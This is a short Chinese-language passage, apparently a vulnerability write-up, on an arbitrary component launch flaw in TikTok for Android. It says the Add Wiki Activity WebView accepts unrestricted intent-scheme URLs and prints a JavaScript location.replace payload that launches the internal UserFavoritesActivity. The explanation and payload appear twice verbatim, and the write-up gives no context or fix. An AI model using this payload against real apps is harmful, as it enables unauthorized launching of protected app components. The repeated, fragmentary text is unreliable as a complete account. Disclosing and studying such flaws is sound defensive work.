安卓版TikTok_任意組件啓動漏洞

# 安卓版TikTok 任意組件啓動漏洞

好消息是Add Wiki Activity WebView也支持intent scheme，並且沒有任何限制。但如果以下代碼在Add Wiki Activity中被執行，User Favorites Activity將被調用。

location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")

好消息是Add Wiki Activity WebView也支持intent scheme，並且沒有任何限制。但如果以下代碼在Add Wiki Activity中被執行，User Favorites Activity將被調用。

location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")